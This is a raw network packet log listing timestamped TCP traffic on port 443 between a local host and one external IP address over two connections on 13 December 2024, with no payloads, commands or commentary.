Dec 13, 2024 13:27:33.165077925 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.165093899 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.166841984 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.166889906 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.166907072 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.166946888 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.168669939 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.168812037 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.170726061 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.170802116 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.171828032 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.171875000 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.174016953 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.174071074 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.175721884 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.175789118 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.176843882 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.176897049 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.176911116 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.176959038 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.178625107 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.178677082 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.180500984 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.180547953 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.181730032 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.181775093 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.183697939 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.183760881 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.185672045 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.185753107 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.187081099 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.187141895 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.189055920 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.189105988 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.190783024 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.190830946 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.192481041 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.192536116 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.194559097 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.194607019 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.195409060 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.195461035 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.197022915 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.197073936 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.198853970 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.198914051 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.199690104 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.199733019 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.201591015 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.201652050 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.203545094 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.203607082 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.204627037 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.204679966 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.206655979 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.206712961 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.206789017 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.208451986 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.208507061 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.209625006 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.209676981 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.352719069 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.353250027 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.353338957 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.353601933 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.354979992 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.355349064 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.358721972 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.358766079 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.362536907 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.362555027 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.362555027 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.362567902 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.362581015 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.362612963 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.362667084 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.362667084 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.362667084 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.362678051 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.366555929 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.366679907 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.366728067 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.370294094 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.370323896 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.370352030 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.370352030 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.370352030 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.370371103 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.370556116 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.370556116 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.374258041 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.374308109 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.374346018 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.374389887 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.374389887 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.374389887 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.374403954 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.378678083 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.378715038 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.380474091 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.380474091 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.380490065 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.380599022 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.380678892 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.380685091 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.380968094 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.381043911 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.381309986 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.382967949 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.383110046 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.384555101 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.384651899 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.385642052 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.386055946 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.387489080 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.389596939 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.389693022 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.389806986 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.391410112 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.391511917 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.392452955 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.392651081 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.394359112 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.394463062 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.396265984 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.396471977 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.397273064 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.397787094 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.399463892 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.399605036 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.401607037 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.401948929 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.402220011 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.402371883 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.546842098 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.546884060 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.547084093 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.547084093 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.547100067 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.547249079 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.548018932 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.548095942 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.549969912 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.550570965 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.550796032 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.551337004 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.552494049 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.552609921 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.553989887 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.554270983 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.555037975 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.555264950 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.557012081 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.557085991 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.560578108 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.560630083 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.560650110 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.560662985 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.560965061 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.562870979 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.563329935 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.563335896 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.563853025 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.564090967 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.564184904 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.565109968 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.565386057 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.567353010 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.567539930 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.569554090 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.569820881 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.570319891 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.570411921 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.572084904 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.573048115 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.573621988 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.573915958 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.575438023 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.575619936 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.576984882 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.578057051 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.578111887 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.578111887 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.578120947 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.578324080 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.580013037 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.580061913 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.581912994 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.582433939 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.582920074 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.583334923 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.585095882 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.585166931 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.586811066 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.587069035 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.587908030 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.588068008 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.588880062 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.588953972 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.590122938 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.590122938 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.594477892 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:32.871177912 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:32.871217012 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:32.871284962 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:32.881365061 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:32.881378889 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:34.250463009 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:34.250607967 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:34.283641100 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:34.283657074 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:34.284503937 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:34.338717937 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:34.368012905 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:34.411326885 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:34.781639099 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:34.781673908 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:34.781734943 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:34.781753063 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:34.781801939 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:34.789845943 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:34.789932966 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:34.802165985 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:34.802258015 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:34.901240110 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:34.901330948 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:34.979029894 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:34.979113102 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:34.987519026 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:34.987607002 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.004113913 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.004185915 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.020895958 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.020979881 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.029439926 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.029515982 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.046154976 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.046216965 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.057214975 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.057291985 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.093480110 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.093559980 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.168220043 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.168292046 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.172508955 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.172569990 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.183526993 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.183592081 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.193197966 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.193253040 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.201741934 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.201812029 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.206231117 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.206295013 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.214914083 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.214986086 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.223623037 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.223691940 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.228018999 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.228080034 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.234235048 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.234316111 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.240701914 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.240763903 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.245295048 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.245377064 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.248691082 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.248752117 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.254801989 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.254858971 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.260998964 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.261058092 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.357408047 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.357464075 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.361507893 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.361596107 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.365629911 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.365695953 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.370858908 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.370917082 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.376142025 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.376204967 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.378689051 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.378747940 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.383447886 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.383496046 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.388189077 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.388254881 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.390516043 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.390569925 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.394941092 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.394995928 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.399454117 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.399511099 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.401809931 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.401865005 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.406339884 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.406404972 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.410856962 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.410917997 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.413249969 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.413316011 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.417861938 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.417913914 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.422231913 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.422295094 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.424511909 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.424571037 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.430120945 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.430176973 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.432396889 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.432470083 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.436697960 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.436744928 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.441245079 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.441303968 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.443635941 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.443697929 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.448677063 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.448808908 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.451944113 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.451999903 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.456370115 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.456420898 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.549962997 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.550024986 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.553638935 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.553694963 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.555551052 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.555627108 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.559150934 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.559241056 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.562529087 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.562576056 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.562587023 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.562638044 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.564399958 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.564443111 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.567737103 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.567784071 CET	49732	443	192.168.2.10	91.134.10.168
